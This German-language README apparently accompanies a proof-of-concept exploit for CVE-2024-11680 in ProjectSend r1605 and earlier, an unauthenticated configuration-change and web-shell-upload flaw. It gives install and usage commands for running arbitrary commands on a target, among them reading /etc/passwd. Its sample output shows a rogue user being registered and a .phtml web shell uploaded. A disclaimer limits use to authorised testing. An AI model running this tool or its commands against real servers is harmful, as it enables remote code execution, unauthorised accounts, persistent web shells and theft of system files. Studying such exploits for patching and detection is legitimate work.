
Dieses Repository enthält einen Proof-of-Concept-Exploit (PoC) für CVE-2024-11680, eine kritische Schwachstelle in ProjectSend r1605 und früheren Versionen. Der Exploit zielt auf eine fehlerhafte Authentifizierung ab, die durch Probleme mit falschen Berechtigungseinstellungen und Befehlsinjektion verursacht wird.
Dies ist ein Proof-of-Concept-Exploit für CVE-2024-11680, eine nicht authentifizierte Konfigurationsänderungs- und Web-Shell-Upload-Schwachstelle in ProjectSend.
Der Exploit nutzt mehrere Schwachstellen in ProjectSend aus:
pip install requests colorama
python3 exploit.py -u <TARGET_URL> -c <COMMAND>
-u, --url: Ziel-URL (z.B. )-c, --command: Befehl, der auf dem Ziel ausgeführt werden soll (Standard: id)# Python-Version abrufen
python3 exploit.py -u http://target.com/projectsend -c "python3 -V"
# Verzeichnisinhalt auflisten
python3 exploit.py -u http://target.com/projectsend -c "ls -la"
# Systeminformationen abrufen
python3 exploit.py -u http://target.com/projectsend -c "uname -a"
# Passwd-Datei lesen
python3 exploit.py -u http://target.com/projectsend -c "cat /etc/passwd"
Dieses Tool dient nur zu Bildungszwecken. Verwenden Sie es verantwortungsbewusst und nur auf Systemen, für die Sie ausdrückliche Erlaubnis zum Testen haben.
[+] Target is vulnerable
[+] Insecure options enabled
[+] User registered successfully.
[+] New username: NoDLQWYF
[+] New password: X02A3g9LuN4S
[+] File uploaded: kLoISqdA.phtml
[+] File accessible at: http://target.com/projectsend/upload/files/1774958997-3b58e110c289baddfd8a6d1d5f34d96e77009fdc-kLoISqdA.phtml
[+] Command Output:
Python 3.9.2